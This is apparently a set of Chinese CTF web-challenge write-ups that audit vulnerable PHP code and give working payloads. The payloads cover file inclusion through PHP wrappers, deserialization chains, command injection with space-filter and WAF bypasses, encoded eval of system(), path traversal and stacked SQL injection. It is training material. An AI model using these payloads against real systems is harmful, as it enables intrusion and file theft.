[ZJCTF 2019]NiZhuanSiWei
1.打开环境,代码如下,知识点包括文件包含,伪协议和反序列化
<?php
$text = $_GET["text"]; //get传参text
$file = $_GET["file"]; //get传参file
$password = $_GET["password"]; //从get传参password
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
//使用file_get_contents($text,'r')尝试读取 $text 指向的文件内容,如果文件内容严格等于 "welcome to the zjctf",则继续执行下面的代码
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; //输出内容
if(preg_match("/flag/",$file)){ //检查file是否包含flag
echo "Not now!"; //包含则输出Not now!
exit(); //结束进程,此处不会有flag
}else{
include($file); //useless.php 如果不包含就指向useless.php文件
$password = unserialize($password); //反序列化password
echo $password; //输出password,此处应该是flag
}
}
else{
highlight_file(__FILE__); //高亮显示文件
}
?>
2.按代码尝试第一步
让test=welcome to the zjctf,什么也没发生,重新看一下,file_get_contents只能读取文件内容,但test是变量,这里就需要用到php伪协议
3.php伪协议
用data协议去给test赋值——?text=data://text/plain,welcome to the zjctf,传参后如下,到这里if以上的代码就完了
4.按照代码,此时应该读取useless.php文件,但是这里并没有路径,使用filter伪协议构造payload:&file=php://filter/read=convert.base64-encode/resource=useless.php,得到一串什么编码,一般是base64
5.解码,得到一个新的php
<?php
class Flag{ //flag.php //flag在flag.php中
public $file;
public function __tostring(){ //把对象当做字符串调用,当表达方式错误时,就会触发
if(isset($this->file)){ //调用file
echo file_get_contents($this->file); //输出文件内容,php位置在此
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ"); 返还值
}
}
}
?>
6. 按上面的代码来说我们要触发魔术方法(echo 或者print)在file中包含flag.php,即可
注意:这时候我们不需要去访问useless.php文件的内容了,但是仍然需要file指向useless.php.我们构造的反序列化会把之前的覆盖掉,最终我们要的是useless.php来访问我们的flag
<?php
class Flag
{
public $file = "flag.php";
}
$a = new Flag();
echo urlencode(serialize($a)); //序列化$a后进行url编码输出
结果:
O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
7.传参,根据上面说的,我们还剩最后一个参数password没用,让其反序列化之后输出password,得到返还值
最种payload为
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A{s%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B}
8.查看源码得到flag
[SWPUCTF 2021 新生赛]no_wakeup
1.打开环境有一个链接
2.点开以后是一个名为class.php的网页
3.分析
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){ //实例化对象时触发,此处不会触发
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
} //2.反序列化之前会触发,将passwd的值改为sha1,需要绕过
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){ //1.要求admin=admin&passwd=wllm,即输出flag
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p']; //通过p进行get传参
unserialize($Letmeseesee); //会将传参的值反序列化,触发_weakup()
?>
4.构造
<?php class HaHaHa { public $admin = "admin"; public $passwd = "wllm"; } $w=new HaHaHa; $w=serialize($w); echo $w;
结果为
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
5.绕过_weakup()——版本:PHP5 < 5.6.25、PHP7 < 7.0.10可实现
绕过_weakup()的方法是修改成员变量的值比实际的值大,原理:
反序列化后由于属性值个数不匹配,被PHP当作垃圾回收。(本质是GC回收机制)
6.修改为,传参即可
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
[SWPUCTF 2021 新生赛]Do_you_know_http
1.打开环境以后,上面说只能用WLLM浏览器访问,但是这个浏览器并不存在,那就伪造一个,改USER-AGENT为WLLM
2.修改了浏览器后,上面说我们只能在本地访问,并给出我的地址。本地访问也就是将地址修改,伪造成127.0.0.1,那么我们就添加一个X-Forwarded-For:127.0.0.1,之后提交,成功得到flag
注:X-Forwarded-For
主要作用是追踪客户端ip和安全和日志记录。
主要格式为:X-Forwarded-For: client1, proxy1, proxy2(client1
是最原始客户端的IP地址,proxy1
、proxy2
等是经过的代理服务器的IP地址。每个IP地址之间通过逗号加空格分隔)。危险之处在于可以伪造这个值。
[SWPUCTF 2021 新生赛]babyrce
1.打开环境是一段php代码,要求上传一个cookie的值为1,参数为admin
2.bp抓包以后修改或者添加cookie: admin=1,返还给了我们一个文件名,rasalghul.php,接下来就访问它
3.给了一段新的php代码,上面说get传参url可以执行命令,并且过滤了空格,有空格就会停止运行。
4. 我们先执行ls看看里面有什么。看到前面多了一个index.php,那么前面的分析就是合理的,ls这个shell有用
5.之后就是空格绕过,使用${IFS}绕够,出现了不同的内容
补充:空格过滤绕过
1.重定向符,文件读取时,可用cat<>flag.php,单独使用<似乎也可以`
2.${IFS},$IFS$9,$IFS
3.控制字符代替,%09(tab),%0a`
4.字符串截取空格,例如ctfshow=aabbcc,${ctfshow}=aabbcc,${ctfshow:2}=bbcc,${ctfshow:4:1}=c,有理论基础就可以通过已经定义的环境变量来构造字符串。
`
5.在bash下还可以使用{cmd,args}`,例如{cat,text}
6.后买出现了一些文件名,有一个像flag的抓一下试试,得到flag
[LitCTF 2023]Follow me and hack me
1.打开环境,上面说分别用get和post传参,但是没有submit按钮,我们直接用hacker一起传,得到flag,彩蛋不讨论。
[LitCTF 2023]Ping
1.先尝试ping一下百度,给出了不一样的回答
2.这里出现了一个过滤的函数,大致作用是严格匹配 ipv4 地址,比如 127.0.0.1 这种格式,所以域名都不可以,那么我们就禁用js
[SWPUCTF 2021 新生赛]hardrce
1.打开环境,先进行代码审计
- 通过
$_GET['wllm']
接收输入。 - 定义了一个黑名单数组
$blacklist
,包含一系列不允许的字符。 - 使用
foreach
循环和preg_match
检查输入中是否包含黑名单中的任何字符。如果是,则终止执行并显示错误信息。 - 使用
preg_match('/[a-zA-Z]/is', $wllm)
检查输入中是否包含英文字母。如果是,则终止执行并显示错误信息。 - 如果输入通过了所有检查,则使用
eval($wllm);
执行输入的代码。 - 意思是我们不能使用上述规定的字母和符号,但是却要我们传参给wllm,这显然是说不通的,因此我们需要绕过一下,可以是取反,异或,自增自减等
2.我们这里需要用到一个php函数phpinfo来测试是否可行,但是,注意:在使用取反编码再取反进行绕过时,想要执行我们指定的代码,传入的payload必须要满足 (函数名)() 这样的形式,否则在取反之前PHP解释器并不知道是要执行一个函数,取反之后就算是一个函数也不会被当作代码执行。
注:在php的语法中,如果前面不加这个~后面那串就会被当做字符串而不能正常执行
结果为%8F%97%8F%96%91%99%90%D7%D6
3.取反以后没有出现我们想要的结果,说明这个函数行不通,但是方法是对的。
4. 我们执行system('ls /'); 那在使用这个方法时就要分别对符号进行取反
<?php
$a="system";
$a=urlencode(~$a); // ~ 取反写法
$b="ls";
$b=urlencode(~$b);
echo $a."\n".$b;
?>
结果为
%8C%86%8C%8B%9A%92
%93%8C
5.构造payload得到
6.出现了类似flag的位置,抓一下
<?php
$a="system";
$a=urlencode(~$a); // ~ 取反写法
// $b="ls /"; 不需要这个了,我们换命令了
// $b=urlencode(~$b);
echo $a."\n";
echo urlencode(~"cat /flllllaaaaaaggggggg")
?>
结果为
%8C%86%8C%8B%9A%92
%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98
构造得?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
得到flag
[GXYCTF 2019]Ping Ping Ping
1.打开环境上面有一个可以提交的位置,说php可以执行系统函数。
php可执行系统函数实例:
exec()
函数:执行一个外部程序。这个函数不直接输出结果,但你可以将输出保存到变量中。
shell_exec()
函数:通过 shell 环境执行命令,并且将完整的输出作为字符串返回。
system()
函数:执行外部程序,并且显示输出。这个函数会将命令的输出直接发送到浏览器。
passthru()
函数:用于执行外部命令并且直接显示原始输出。
proc_open()
函数:提供了一个更灵活的接口来执行外部程序,允许你同时读写到外部程序的输入/输出/错误流,以及获取外部程序的返回状态。
escapeshellcmd()
函数:用于转义传递给 shell 命令的参数,以防止潜在的注入攻击。
escapeshellarg()
函数:用于将字符串转换为可用于 shell 命令的参数。它会确保参数被适当地引用,从而防止注入攻击。
2.尝试ping一下主机地址,可以看到上面有一些ping通的数据交互情况
3. 和ping相关的命令执行(正如题目所说,php可以执行系统函数)
127.0.0.1&&+code 只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
127.0.0.1&+code &表示将任务置于后台执行
127.0.0.1||+code 只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
127.0.0.1|+code | 表示管道,上一条命令的输出,作为下一条命令的参数
127.0.0.1;+code 多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
4.尝试看一下其他东西,上面说去你的空格,那么空格就是被过滤了
5.过滤空格的方法
1.使用分号:分号可以用来分隔多个命令,无论前一个命令是否成功执行,都会执行后面的命令。例如:command1; command2
2.使用逻辑运算符:&& 表示如果前面的命令执行成功,则执行后面的命令;|| 表示如果前面的命令执行失败,则执行后面的命令。例如:command1 && command2 或 command1 || command2
3.使用管道符:| 可以将前一个命令的输出作为后一个命令的输入。例如:command1 | command2
4.使用 $IFS 环境变量:$IFS 是一个内部字段分隔符,可以用来代替空格。例如:cat$IFSfile
5.使用重定向:可以使用 < 或 > 来重定向输入或输出,从而绕过空格。例如:cat < file 或 cat > file
6.使用命令拼接:可以将命令拆分成多个部分,然后通过变量或命令替换来拼接。例如:a=c;b=a;c=t;$a$b$c file
7.使用 base64 编码:可以通过 base64 编码命令,然后解码执行。例如:echo "Y2F0IGZsYWc="|base64 -d 会解码为 cat flag
8.使用引号:单引号、双引号和反引号可以用于绕过或包含特殊字符。例如:c'a't fi""le1 或 c""at "file1
9.使用反斜杠:反斜杠 \ 可以用于命令行中的换行,从而绕过空格。例如:cat \file1
10.使用特殊变量:如 ${PS2}、${PS4} 和 ${9} 等,它们分别对应 >、+ 和空字符串。例如:echo hello ${PS2}file2
原文链接:https://blog.csdn.net/2301_79964672/article/details/140702642
6.使用一种和ping相关的命令执行,注意空格,重ping为127.0.0.1;ls,出现两个文件名
7.cat一下index.php
附: php代码。过滤了空格,许多符号,flag,bash
7.抓一下那个flag试试,需要用到空格绕过为 127.0.0.1;cat$IFSflag.php,上面说不可以出现flag,那我们就换一个看看
8. 抓flag.php,都可以得到flag
分别用不同的方法尝试
1. 命令拼接 ?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php //不成功
在我们平后的源码中,有
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!"); //这段代码没有禁止flag这四个字母,而是不允许他们按顺序出现,因此需要重构最终为:
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
2.base64
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
这个命令的作用是打印文件
flag.php
的内容,其中Y2F0IGZsYWcucGhw是cat flag.php的base64编码,base -d是base64解码,$IFS$1是空格过滤绕过,管道符|是直接执行后面的语句,echo |sh 是将前面解码的内容作为命令(shell)执行,并且打印flag.php的内容。3.内联执行
?ip=127.0.0.1;cat$IFS$1`ls`
在linux系统中,反引号是作为内联执行,输出查询结果的内容。比如用ls查询出index.php和flag.php。那么`ls`就代表了index.php和flag.php这两个文件。那么我们就可以使用cat命令查看index.php和flag.php的内容。
下图就是第三种方法的源码,上面是flag.php的代码,下面是index.php的代码。
[SWPUCTF 2021 新生赛]PseudoProtocols (伪协议)
1.打开环境,上面说你能找出hint.php吗?而且可以看到地址栏有了参数wllm,既然是找出一个文件那么就是命令执行和伪协议
2.伪协议
?wllm=php://filter/read/convert.base64-encode/resource=hint.php
3.解码此内容
4.得到一个新的文件地址/test2222222222222.php,访问一下看看,上面说读取$a
指向的文件的内容。如果读取的内容恰好是I want flag
,则输出success
和$flag
变量的值。
5.得到flag
1.php://input(hackbar没有实现,不知道为什么)
条件:开启allow_url_include=On。相当于一个远程包含的利用。
php://打开文件流后,我们直接在流里面写入我们的恶意代码,此时包含既可执行代码
http://node7.anna.nssctf.cn:21654/test2222222222222.php?a=php://input // 然后在POST里传入I want flag,则成功读取Flag
2.data://
http://node7.anna.nssctf.cn:21654/test2222222222222.php?a=data://text/plain,I want flag
[LitCTF 2023]Http pro max plus
1.打开环境,上面叫本地访问
2.试试xff,在hackbar中add header 并填入X-Forwarded-For: 127.0.0.1,行不通上面说不止这一种方法
3.删除刚刚的xff,填入Client-IP: 127.0.0.1,得到了新的回显,提供了一个网页,也就是要修改referer
注:Client-IP是另一个用于传递客户端IP地址的HTTP请求头字段,但并不如X-Forwarded-For常用。这个字段只包含一个IP地址,即请求的客户端IP地址。
4.修改以后,又叫我们用chrome浏览器,修改User-Agent为Chrome
5.又得到了新的回显,叫我们添加一个代理地址,添加新的add header,传入Via: Clash.win
6.执行后得到了新的回显,一个新的地址,访问一下。
7.给了三个步骤,都是没用的
8.查看源码,又有一个地址/sejishikong.php,访问一下,得到flag
[SWPUCTF 2021 新生赛]finalrce
1.打开环境,有一段php代码,上写了禁用的一些符号和命令,同时,写exec命令会执行url的命令,但是exec这个命令没有回显,因此要进行输出重定向。
2.构造payload url=l\s /|tee 1.txt; ,之后访问1.txt,看到有一个,访问它flllllaaaaaaggggggg
注:tee是一个linux命令,会将我们前面输入的命令保存在后面的1.txt文件中,管道符|则会使tee命令执行。
3.访问flllllaaaaaaggggggg
再次重定向后访问 ?url=ca\t%20/flllll\aaaaaaggggggg|tee%201.txt;得到flag
[UUCTF 2022 新生赛]ez_rce
1.打开环境,有一段代码,先代码审计。上面试一些过滤了的命令,get传参给code,会执行这些命令。
2.先测试一下phpinfo(),有回显。但是根据内容来看,行不通。
3.既然ls被过滤,就试用了l\s,发现还是被过滤了,不行,那么这里还可以使用上面提到过的内联执行,其中的反引号在很多语言都有,且用途不一,这里推一篇详细介绍。简单的来说就是使用反引号运算符( `` )的效果与函数 shell_exec ( ) 相同。[UUCTF 2022 新生赛]ez_rce_[uuctf 2022 新生赛]ezrce-CSDN博客
具体使用的payload为?code=print(`l\s /`);查看根目录下的文件,如此。
4.查看fffffffffflagafag文件,payload: ?code=print(`ca\\t /fffffffffflagafag`);
注:这里使用ca\\t,是因为单独的一个\t,会被http协议当成制表的命令。
[羊城杯 2020]easycon
1.打开环境,是一个ubuntu的apache2的页面报告,没有什么有用的信息,扫一下
2.扫到了一个index.php,访问这个页面,先是有一个弹窗,上面说执行post传参执行命令,然后有一个新的页面,但是这个页面什么也做不了,换另一个页面index.php/login
3. 在此页面执行命令,查看此目录下的所有文件,得到以下内容,
4.试图查看bbbbbbbbb.txt的内容,cat一下,得到一串编码,拿去解码一下
5.base解码后转图片,另存后找到flag
[鹏城杯 2022]简单包含
1.打开环境,给了flag的路径和就叫我们post传参文件包含,参数是flag。
2.利用伪协议尝试读取flag内容,上面说有waf。应该是某个东西被过滤了。
flag=php://filter/read=convert.base64-encode/resource=flag.php
3.尝试伪协议读取其他内容,一般直接给出来flag路径的都不能直接使用。得到了内容的base64编码,解码一下。
flag=php://filter/read=convert.base64-encode/resource=index.php
4.解码 ,代码审计
<?php
$path = $_POST["flag"]; //post传参flag赋值给path
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!'; //字符串数小于800,和包含有flag,就会输出有waf
} else {
@include($path); //由于上面是&,满足一个条件这里就会执行,让字符数大于800,执行命令,预计输出flag
}
?>
<code><span style="color: #000000">
<span style="color: #0000BB"><?php <br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag in /var/www/html/flag.php;</span>
</span>
</code><br /> //不重要的东西
5.某些WAF处理POST的数据时,只会检测开头的8K,后面选择全部放过。因此可以传入一段长数据使WAF失效,从而实现绕过WAF
构造payload:得到flag的base64编码
x=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&flag=php://filter/read=convert.base64-encode/resource=flag.php
6.解码,得flag
[HNCTF 2022 Week1]Interesting_include
1.打开环境,先进行代码审计
<?php
//WEB手要懂得搜索
//flag in ./flag.php
if(isset($_GET['filter'])){ //get传参,参数是filter
$file = $_GET['filter']; //赋值给file
if(!preg_match("/flag/i", $file)){ //如果包含flag,返回error
die("error");
}
include($file); //没有包含flag,预计输出flag
}else{
highlight_file(__FILE__);
}
2.构造payload
?filter=php://filter/read=convert.base64-encode/resource=flag.php
3.解码得flag
[GDOUCTF 2023]泄露的伪装
1.打开环境是一句话,其他什么也没有,直接开扫。
2.得到了两个目录,逐一查看,在www.rar解压后给了一个新的地址
3.访问这个页面,代码审计
<?php
error_reporting(0);
if(isset($_GET['cxk'])){ //get传参,参数是cxk
$cxk=$_GET['cxk']; //赋值
if(file_get_contents($cxk)=="ctrl"){ //如果其内容等于ctrl,输出flag
echo $flag;
}else{
echo "洗洗睡吧"; //不等于。输出洗洗睡
}
}else{
echo "nononoononoonono"; //什么也没有,输出nononononononono
}
?>
4.构造payload,访问,发现内容被过滤了
5.绕过
payload:
?cxk=data://text/plain,ctrl
?cxk=data://text/plain;base64,Y3RybA==
[SWPUCTF 2022 新生赛]ez_ez_php(revenge)
1.打开环境,代码审计
<?php
error_reporting(0); //关闭错误报告
if (isset($_GET['file'])) { //get传参,参数file
if ( substr($_GET["file"], 0, 3) === "php" ) { //file的内容以php开头
echo "Nice!!!"; //输出nice
include($_GET["file"]); //文件包含,和后面的flag.php有关
}
else {
echo "Hacker!!"; //输出hacker
}
}else {
highlight_file(__FILE__);
}
//flag.php
2.构造payload,解码得一段php代码
3.代码审计
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
echo "NSSCTF{flag_is_not_here}" ."<br/>"; //不是flag
echo "real_flag_is_in_ '/flag' "."<br/>"; //真正的flaag在/flag里
echo "换个思路,试试PHP伪协议呢"; //
4.构造payload,得代码,解码,得flag
?file=php://filter/read=convert.base64-encode/resource=/flag
[HNCTF 2022 Week1]easy_html
1.打开环境,叫我们查看cookie,上面说flag is in /f14g.php,访问一下。
cookie的中文就是饼干的意思
2. 打开环境叫我们电话号码登录,但是输入以后回显是nononononono,查看源码
上面设置最大长度有10,但是电话号码有11位,,改一下,得flag
[HCTF 2018]Warmup
1.打开环境,只有一个笑脸,其他什么也没有,查看源码,给了一个文件名
2.访问它,代码审计
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //定义了一个数组,给了两个文件名
if (! isset($page) || !is_string($page)) { //page变量未被定义或不是字符串回显并结束进程
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //whitelist数组中存在page的值,返回true
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?') //回page变量中第一次出现'?'的位置,若没有出现则返回page的末尾位置
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page); //将page变量url解码后赋值给_page变量
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //file是否为空
&& is_string($_REQUEST['file']) //file是否是字符串
&& emmm::checkFile($_REQUEST['file']) //emmm类中checkFile方法返回是否为true
) {
include $_REQUEST['file']; //文件包含,回显出内容,应该是执行出flag的的地方
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
3.代码上说还有一个页面是hint.php,访问它,意外之喜。(暂时用不到)
函数介绍
highlight_file():对文件进行 PHP 语法高亮显示(对解题没什么影响)
isset():用于检测变量是否已设置并且非 NULL
is_string():用于检测变量是否是字符串
in_array(A,B):搜索B数组中是否包含A这个值
mb_substr(A,B,C):将A字符串从B截断到C,区间为[B,C),左闭右开;例如mb_substr("hello",0,2),则返回的值为"he"
mb_strpos(A,B):返回A字符串中出现B字符串的第一个位置;例如mb_strpos("abc","bc"),则返回值为1
urldecode(A):对A字符串进行url解码
empty():检查变量是否为空
$_REQUEST变量可用来收集通过GET和POST方法发送的表单数据
include可以将PHP文件的内容插入另一个PHP文件,include只生成警告,并且脚本会继续
A.B表示将A、B两字符串拼接
4.根据代码审计,可以得出:
1.第一个if用于判断page是否为空;
2. 第二个 if 用于判断page的值在不在白名单里面;
3. 第三个 if 是在page截断后赋值给 _page,再判断 _page的值在不在白名单里;
4. 第四个 if 是先将page进行url解码后赋值给 _page,再做截断和判断;
5.构造payload,没有回显,目录穿越,逐级尝试。
?file=source.php?/ffffllllaaaagggg
最终为,得flag
?file=source.php?../../../../../ffffllllaaaagggg
[MoeCTF 2022]baby_file
1.打开环境,代码审计,什么也没有开扫吧。
<html>
<title>Here's a secret. Can you find it?</title> //这是一个秘密,你能找到它么
<?php
if(isset($_GET['file'])){ //get传参,参数file
$file = $_GET['file']; //赋值
include($file); //文件包含
}else{
highlight_file(__FILE__); //高亮显示(无用)
}
?>
</html>
2.得到一个flag.php,直接访问不到,伪协议读取文件,构造payload
?file=php://filter/read=convert.base64-encode/resource=useless.php
3. 解码得flag
[suctf 2019]EasySQL
1.打开环境,是一个提交框,有提交按钮。
2.判断注入类型,只有1时有回显。
输入1时
输入1'时
输入1'#时
3.爆库,有回显。
1; show databases;
4. 爆表
1;show tables;
4. 爆字段,两个的结果都是Nonono,应该是from被过滤了。
1;show columns from 1;
1;show * from 1;
5. PIPES_AS_CONCAT 函数:sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数。
ps:
command1;command2顺序执行
command1 || command2
如果command1执行失败,则执行command2
command1 && command2
如果command1执行成功,则执行command2
6.构造payload,得flag
1;set sql_mode=PIPES_AS_CONCAT;select 1
[HUBUCTF 2022 新生赛]checkin
1.代码审计
<?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two // flag.php 文件中修改了 $username 与 $password,要求必须使用弱比较
$info = isset($_GET['info'])? $_GET['info']: "" ; //可以传参的位置
$data_unserialize = unserialize($info); //反序列化info(数组)
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag; //useraname和password的弱比较,成功则输出flag
}else{
echo "username or password error!"; //若比较不成功则输出
}
?>
2.写代码
<?php
$d=array("username"=>true,"password"=>true); //定义d是数组,绕过弱比较,将需要比较的内容赋给true
echo serialize($d); //输出序列化的值,后面会反序列化回来
?>
结果:
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
3.构造payload,得flag
?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}
[SWPUCTF 2021 新生赛]pop
1.代码审计
<?php
error_reporting(0);
show_source("index.php"); //包含index.php
class w44m{ //定义了一个类
private $admin = 'aaa'; //定义了一个私有属性的admin
protected $passwd = '123456'; //定义了一个保护属性的passwd
public function Getflag(){ //定义了一个公有属性的Getflag
if($this->admin === 'w44m' && $this->passwd ==='08067'){ //要求admin和passwd的值强比较(即比较数据类型,也比较数据)等于
include('flag.php'); //包含flag.php
echo $flag; //输出flag
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){ //被删除或者销毁时触发,或者这个类被调用时触发。
echo $this->w00m; //把对象当成字符串输出,触发toString
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){ //把对象当做字符串调用,表达方式错误时,就会触发
$this->w00m->{$this->w22m}(); //调用函数w22m
return 0;
}
}
$w00m = $_GET['w00m']; //get传参,参数w00m
unserialize($w00m); //反序列化get传参的值
?>
//get传参w00m,给w00m赋一个w33m类(调用),w33m会调用w22m,给$w00m赋一个w44m类(调用),然后再给w22m赋一个Getflag就能成功调用Getflag,输出flag
2.构造
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$p = new w22m(); //实例化对象w22m
$p->w00m = new w33m(); //给w33m赋w00m,同时实例化w33m,不会触发_toString,要在类里实例化才会触发。
$p->w00m->w00m=new w44m(); //给w44m赋w00m,同时实例化w44m。
$p->w00m->w22m='Getflag'; //给w22m赋Getflag,触发结果
echo urlencode(serialize($p)); //有私有属性,必须用url编码,不然会有不可见字符
?>
3.payload
w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
4.结果
[鹤城杯 2021]EasyP
1.打开环境,代码审计
<?php
include 'utils.php';
if (isset($_POST['guess'])) { //无用段,无法执行得到flag
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) { //后面这个函数会读取当前写入的文件名,也就是ip以后的文件路径
exit("hacker :)"); //匹配以 utils.php+0个或多个 / 结尾 的字符串
}
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)"); //匹配 show_source 的内容以及REQUEST_URI
}
if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));//本意是返回路径中的函数名部分,在此处为读取url的最后一个文件并输出,在使用默认语言环境设置时,basename() 会删除文件名开头的非 ASCII 字符,ascii值为47、128-255的字符和中文字符均可以绕过basename()
exit();
}else{
show_source(__FILE__);
}
?>
2.绕过总结
flag在utils.php文件里,但是正则匹配了这个文件名,绕过方法是添加不是/的任意字符。
show_source,需要此函数展出文件内容,一般绕过姿势:show[source和show.source,GET或POST方式传进去的变量名,会自动将
空格 + . [
转换为_,
同时保证他不为null。$_SERVER['REQUEST_URI']绕过保证它的值为******/utils.php,最后读取出来的文件是含有flag的文件。
basename,利用此函数会在读到非ascii时停止,在utils.php后面加上一个非ascii的字符,让后面的($_SERVER['PHP_SELF']函数刚好读取到utils.php的内容并显示。
还需要添加一个index.php来当做跳板请求
3.构造payload
/index.php/utils.php/%88?show[source=1
补充:两个全局变量的区别
假设你的网站可以通过
http://example.com/
访问,并且当前页面是http://example.com/index.php?page=home
:
$_SERVER['PHP_SELF']
的值可能是/index.php
(注意,这取决于服务器的配置和 URL 重写规则)。//不会包括?问号以后的内容不会显示$_SERVER['REQUEST_URI']
的值将是/index.php?page=home
。
4.得到flag
[NISACTF 2022]checkin
1.打开环境,一段代码,代码审计
<?php
error_reporting(0);
include "flag.php";
// NISACTFWelcome to
if ("jitanglailo" == $_GET[ahahahaha] &+!!& " Flag!N1SACTF" == $_GET[Ugeiwocuishiyuan]) { //tnnd! weishenme b
echo $FLAG;
}
show_source(__FILE__);
?>
2.按上面说的构造payload传参,但是没有反应
